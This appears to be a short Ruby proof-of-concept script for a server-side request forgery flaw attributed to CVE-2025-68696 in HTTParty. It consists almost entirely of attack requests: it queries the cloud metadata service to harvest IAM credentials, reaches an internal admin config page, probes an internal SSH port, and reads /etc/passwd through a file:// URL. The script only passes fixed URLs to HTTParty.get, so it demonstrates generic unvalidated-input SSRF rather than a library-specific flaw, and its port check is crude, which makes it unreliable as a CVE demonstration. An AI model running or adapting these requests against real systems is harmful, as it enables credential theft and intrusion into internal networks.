CVE-2025-68696

require 'httparty' # CVE-2025-68696 SSRF PoC - Httparty <= 0.23.2 # This PoC demonstrates how an attacker can exploit SSRF to access internal resources # Example 1: Access AWS metadata service (if running on EC2) # Attacker can steal IAM credentials begin response = HTTParty.get('http://169.254.169.254/latest/meta-data/') puts response.body rescue => e puts "Error: #{e.message}" end # Example 2: Access localhost/internal services # Bypass firewall restrictions begin response = HTTParty.get('http://127.0.0.1:8080/admin/config') puts response.body rescue => e puts "Error: #{e.message}" end # Example 3: Port scanning internal network # Use as proxy to scan internal services begin response = HTTParty.get('http://192.168.1.1:22/') puts "Port 22 open: #{response.code}" rescue => e puts "Port closed or filtered" end # Example 4: Access file:// protocol (if supported) begin response = HTTParty.get('file:///etc/passwd') puts response.body rescue => e puts "Error: #{e.message}" end # The vulnerable code pattern: # user_input = params[:url] # response = HTTParty.get(user_input) # No validation!
